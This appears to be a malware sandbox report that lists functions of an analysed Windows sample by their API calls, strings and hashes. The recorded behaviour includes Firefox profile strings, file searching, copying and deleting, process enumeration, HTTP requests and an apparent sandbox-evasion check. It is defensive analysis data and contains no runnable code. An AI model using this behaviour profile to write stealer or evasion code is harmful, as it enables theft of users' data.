Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 38933bda66761443b689d8061a22a91af89e270e35f8b1f2c88dded9660e8fbb
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 38933bda66761443b689d8061a22a91af89e270e35f8b1f2c88dded9660e8fbb
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 559f4b28d4c6f388b2cc218e4a1c15c8aef3a61e27ab17ef34df4110fc3ca245
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 559f4b28d4c6f388b2cc218e4a1c15c8aef3a61e27ab17ef34df4110fc3ca245
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 7fff56f8d853c87629c258518758299b6fdc88a3e28ceb3105f294e0c1acc842
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 7fff56f8d853c87629c258518758299b6fdc88a3e28ceb3105f294e0c1acc842
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02736480,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02736480,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0275AC80), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0275A100,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3458ee99b39ac988d94e51388e6f44c941a0106519a92fb98d2cf65e61f1d671
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 3458ee99b39ac988d94e51388e6f44c941a0106519a92fb98d2cf65e61f1d671
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,0273BE48), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 79966eb7e9c33c0bafc15393eabb9ccc0183321ad086636ad2c3e568466d4db7
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: 79966eb7e9c33c0bafc15393eabb9ccc0183321ad086636ad2c3e568466d4db7
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,02759A98), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0273BF08), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: 7acec38aa09870f1df2a2bf51e35445ccf0f5a962b85e7639e9d110e2309bbdf
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 7acec38aa09870f1df2a2bf51e35445ccf0f5a962b85e7639e9d110e2309bbdf
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C6D3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C6D3095

Part of subcall function 6C6D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C75F688,00001000), ref: 6C6D35D5
Part of subcall function 6C6D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6D35E0
Part of subcall function 6C6D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6D35FD
Part of subcall function 6C6D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6D363F
Part of subcall function 6C6D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6D369F
Part of subcall function 6C6D35A0: __aulldiv.LIBCMT ref: 6C6D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6D309F

Part of subcall function 6C6F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5B85
Part of subcall function 6C6F5B50: EnterCriticalSection.KERNEL32(6C75F688,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5B90
Part of subcall function 6C6F5B50: LeaveCriticalSection.KERNEL32(6C75F688,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5BD8
Part of subcall function 6C6F5B50: GetTickCount64.KERNEL32 ref: 6C6F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6D30BE

Part of subcall function 6C6D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C6D3127
Part of subcall function 6C6D30F0: __aulldiv.LIBCMT ref: 6C6D3140

Part of subcall function 6C70AB2A: __onexit.LIBCMT ref: 6C70AB30

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: d27dc290aeecb51577f653887652b5331eba1a9a4fc4210fc9d72866eceee054
Instruction ID: cb03430bdc4091a478c7ce0de49e785a072e03b2e1765737686e649185b8b484
Opcode Fuzzy Hash: d27dc290aeecb51577f653887652b5331eba1a9a4fc4210fc9d72866eceee054
Instruction Fuzzy Hash: 98F0F962E2074896CA10EF3489811E6B3B0EF6B114F915339E84853591FF2072D88389

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
